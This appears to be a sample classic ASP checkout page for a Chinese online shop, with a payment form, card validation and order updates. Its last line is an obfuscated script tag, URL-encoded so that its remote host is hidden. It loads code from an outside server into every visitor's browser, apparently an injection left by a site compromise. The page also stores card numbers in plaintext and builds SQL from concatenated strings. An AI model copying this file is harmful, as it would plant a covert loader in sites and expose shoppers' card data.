shopcheckout.asp

vb的一个事例,简单了一点,但实用的一个电子超市系统

<!-- #include file="shop$db.asp" -->
<%

' Change these
Dim AllowPaymentOther
Dim AllowCreditCards
AllowCreditCards="Yes"              ' Select credit Cards
AllowOtherPayment="Yes"              ' Other payment types 
AllowInvalidCreditCards="Yes"        ' validate credit card information
' Change for your credit card
Dim CardTypes(10)
Dim CardCount
CardTypes(0)="Visa"
CardTypes(1)="Mastercard"
CardTypes(2)="American Express"
cardcount=3
     
' Change for your other types
Dim OtherTypes(10)
Dim OtherCount
OtherTypes(0)="支票"
OtherTypes(1)="现金"
OtherTypes(2)="电话订单"
othercount=3
Dim PaymentURL
PaymentURL=""        ' Not supported in nonregistered version
'

dim oid
dim dbc
Dim sRowColor
sRowColor="#007563"
dim rstemp
Dim strOcardtype
Dim strOcardno
Dim strOcardname
Dim strOcardexpires
Dim strOcardaddress
Dim strOOther
Dim StroMore
Dim StrOAuthorization
const cSelect="选择类型"
'
'
Session("CurrentURL")="ShopCheckout.asp"
Session("FollowonURL")="ShopThanks.asp"
Session("PaymentURL")=paymentURL
GetOrderInfo              ' get orderid
sError=Session("PaymentError")   ' on return for authorization there may be an error
Session("PaymentError")=""       ' reset 
sAction=Request.form("Action")
If sAction = "" Then
     ShopPageHeader             ' put out normal header
     DisplayForm()              ' credit card form
     ShopPagetrailer            ' trailer
Else
     GetFormFields
     ValidateData
     if sError = "" Then
         UpdateCreditInfo        '  add payment to daat base
         if paymentURL<>"" then  ' if there is an authorization
             response.redirect PaymentURL & "?oid=" & oid
         else
             response.redirect Session("followonurl")  ' go to shopthanks
         end if 
      end if
      ShopPageHeader
      DisplayForm
      ShopPageTrailer
 end if

Sub DisplayForm
	Response.Write("<blockquote>")
	Response.Write("<b>付款方式：<br>")
	Response.Write("<b>请选择信用卡类型或其他付款方式。")
If SError<>"" then
	Response.Write("<font color=red>" & "<br>" &  sError & "</font>")
end if
	Response.Write("<form name=shopcheckout method=Post action=shopcheckout.asp>")
        Response.Write("<input type=submit name=action value=""填写完成后继续"">")
      	Response.Write("<table cellPadding=2 cellSpacing=1 width=60% bgcolor='#000000' align='center'>")
        AddCreditCard
        AddOtherPayment 
	Response.Write("</table><p align=center>")
        Response.Write("<input type=submit name=action value=""完成确定"">&nbsp;")
        response.write "<INPUT name=action type=submit value=""取消订单"">&nbsp;"
        response.write "<INPUT type=Reset Value=重新填写><br>"
	Response.Write("</form>")
	Response.Write("</blockquote>")
End Sub
'
Sub AddCreditCard
If AllowCreditCards="Yes" Then
        Response.Write("<br><tr bgcolor=" & sRowColor &"><td><b>信用卡支付</b></td><td></td></tr>")
	Response.Write("<tr bgcolor=" & sRowColor &"><td>信用卡类型:</td><td>")
        GenerateSelectNV CardTypes,stroCardtype,"StroCardtype", CardCount,cSelect 
        response.write "</td></tr>"
     	Response.Write("<tr bgcolor=" & sRowColor &"><td>信用卡号码:</td><td><input maxLength=16 size=15 name=strOcardno value=" & Chr(34) & strOcardno & Chr(34) & "></td></tr>")
	Response.Write("<tr bgcolor=" & sRowColor &"><td>持卡人姓名:</td><td><input size=25 name=strOcardname value=" & Chr(34) & strOcardname & Chr(34) & "></td></tr>")
	Response.Write("<tr bgcolor=" & sRowColor &"><td>终止日期 mm/yy:</td><td><input size=5 name=strOcardexpires value=" & Chr(34) & strOcardexpires & Chr(34) & "></td></tr>")
	Response.Write("<tr bgcolor=" & sRowColor &"><td>持卡人地址:</td><td><input size=25 name=strOcardaddress value=" & Chr(34) & strOcardaddress & Chr(34) & "></td></tr>")
end if
end Sub
'
Sub AddOtherPayment
If AllowOtherPayment="Yes" Then
        Response.Write("<br><tr bgcolor=" & sRowColor &"><td><b>其他付款方式</b></td><td></td></tr>")
	Response.Write("<tr bgcolor=" & sRowColor &"><td>付款方式:</td><td>")
        GenerateSelectNV OtherTypes,stroOther,"StroOther", OtherCount,cSelect 
        response.write "</td></tr>"
        Response.Write("<tr bgcolor=" & sRowColor &"><td>备注:</td><td><input size=25 name=strOMore value=" & Chr(34) & strOMore & Chr(34) & "></td></tr>")
end if
end Sub
Sub GetorderInfo
' Either comes on querystring or on rentry is in session variables
oid=request.querystring("oid")
if oid="" then
     oid=Session("oid")
     database=session("db")
else
   Session("oid") = oid
   Session("db")=database
end if
If oid="" then 
       Response.Redirect "shoperror.asp?msg=" & Server.URLEncode ("订单已经在受理") 
end if

end sub
'
Sub  ValidateData
' see if user cancelled order
dim rc
action = Trim(request.form("action"))
if action = "取消订单" Then
        DeleteOrders           ' delete order from database
        Response.Redirect "shoperror.asp?msg=" & Server.URLEncode ("订单已经取消") 
end if
If stroCardtype=CSelect then
    stroCardtype=""
end if
if stroOther=cSelect then
   stroOther=""
end if
If stroOther="" and stroCardType="" then
    sError="您必须选择付款方式！<br>"
    exit sub
end if
If AllowCreditCards="Yes" and stroCardtype<>"" Then
      ValidateCreditCards 
      exit sub
end if
If AllowOtherPayment="Yes" and stroOther<>"" Then
      ValidateOtherPayment 
      exit sub
end if
end sub
'
Sub ValidateOtherPayment
' No validate needed we just accept it
end sub
'
Sub ValidateCreditCards 
If strOcardtype = "" then
     sError = sError & "必须选择信用卡类型！<br>"
End if

If strOcardno = "" Then
		sError = sError & "必须填写信用卡号码！<br>"
Else
         VerifyCreditCard
end if 

If strOcardname = "" Then
	sError = sError & "必须填写持卡人姓名！<br>"
End If 
If strOcardexpires = "" Then
		sError = sError & "必须填写信用卡的终止日期！<br>"
Else
   ValidateExpiry
end if
If strOcardaddress = "" Then
	sError = sError & "必须填写持卡人地址！<br>"
End If 
End Sub
'
Sub VerifyCreditCard
dim cctype
dim ccNumber
Dim cccheck
If AllowInvalidCreditCards="Yes" then
   exit sub
end if
ccType = ucase(Left(StrocardType,1))
ccnumber=strocardno

  ctype=ucase(cctype)
  
  select case ctype
    case "V"
      cclength="13;16"
      ccprefix="4"
    case "M"
      cclength="16"
      ccprefix="51;52;53;54;55"
    case "A"
      cclength="15"
      ccprefix="34;37"
    case "C"
      cclength="14"
      ccprefix="300;301;302;303;304;305;36;38"
    case "D"
      cclength="16"
      ccprefix="6011"
    case "E"
      cclength="15"
      ccprefix="2014;2149"
    case "J"
      cclength="15;16"
      ccprefix="3;2131;1800"
    case else
      cclength=""
      ccprefix=""
  end select
  
  prefixes=split(ccprefix,";",-1)
  lengths=split(cclength,";",-1)
  number=trimtodigits(ccnumber)
  
  prefixvalid=false
  lengthvalid=false
  
  for each prefix in prefixes
    if instr(number,prefix)=1 then
      prefixvalid=true
    end if
  next 
   
  for each length in lengths
    if cstr(len(number))=length then
      lengthvalid=true
    end if
  next
  
  result=0
  
  if not prefixvalid then
    result=result+1
  end if
    
  if not lengthvalid then
    result=result+2
  end if  
  
  qsum=0
  
  for x=1 to len(number)
    ch=mid(number,len(number)-x+1,1)
    'response.write ch
    if x mod 2=0 then
      sum=2*cint(ch)
      qsum=qsum+(sum mod 10)
      if sum>9 then 
        qsum=qsum+1
      end if
    else
      qsum=qsum+cint(ch)
    end if
  next
  
  'response.write qsum
  if qsum mod 10<>0 then
    result=result+4
  end if
  
  if cclength="" then
    result=result+8
  end if
  
  checkcc=result
if checkcc<> 0 then
      SError= SError & "信用卡号码无效！<br>"
end if  

end sub

' add credit card info to order
Sub UpdateCreditInfo
Dim dbc
ShopOpenDatabase dbc
Dim sqltemp
sqltemp="select * from Orders Where 订单id=" & Session("Oid")
Set rstemp = Server.CreateObject("ADODB.Recordset")
rstemp.open sqltemp, dbc, 1, 3
rstemp.update
if strOCardType<> "" then
' Credit card
  UpdateField "Ocardtype",strOcardtype
  UpdateField "Ocardno",strOcardno
  UpdateField "Ocardname", strOcardname
  UpdateField "Ocardexpires",strOcardexpires
  UpdateField "Ocardaddress", strOcardaddress
else
' Other payment
  UpdateField "Ocardtype",strOOther
  UpdateField "Ocardname", strOMore
  UpdateField "Ocardno","NULL"
  UpdateField "Ocardexpires","NULL"
  UpdateField "Ocardaddress", "NULL"

end if  
rstemp.update
rstemp.close
set rstemp=nothing
ShopcloseDatabase dbc
End Sub

Sub UpdateField (fieldname, fieldvalue)
if fieldvalue="" then
    exit sub
end if
if ucase(fieldvalue)="NULL" then
   rstemp(Fieldname)=NULL
else
   rstemp(Fieldname)=fieldvalue
end if
end sub
'
Sub DeleteOrders
ShopOpenDatabase dbc
dbc.Execute "delete from oitems where 订单ID = " & CInt(Session("oid"))
dbc.Execute "delete from Orders where 订单ID = " & CInt(Session("oid"))
shopCloseDatabase dbc
ShopCancelOrder
end sub
'
Sub GetFormFields
strOcardtype = Request.Form("strOcardtype")
strOcardno = Request.Form("strOcardno")
strOcardname = Request.Form("strOcardname")
strOcardexpires = Request.Form("strOcardexpires")
strOcardaddress = Request.Form("strOcardaddress")
StroOther=Request.Form("stroOther")
StroMore=Request.form("StroMore")

End Sub
'
function trimtodigits(tstring)
'removes all chars except of 0-9
	s="" 
	ts=tstring
	for x=1 to len(ts)
		ch=mid(ts,x,1)
		if asc(ch)>=48 and asc(ch)<=57 then
		s=s & ch
		end if
	next
  trimtodigits=s
end function
'
Sub ValidateExpiry
dim mm
dim yy
If len(strocardexpires)<>5 then
    Serror = Serror & "终止日期的格式必须为mm/yy<br>"
    exit sub
end if
mm = left(strocardexpires,2)
yy=right(strocardexpires,2)
if not IsNumeric(mm) or Not Isnumeric(yy) then
      Serror = Serror & "终止日期的格式必须为mm/yy，并且应该是有效的日期数字变量<br>"
end if
end sub
%><script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>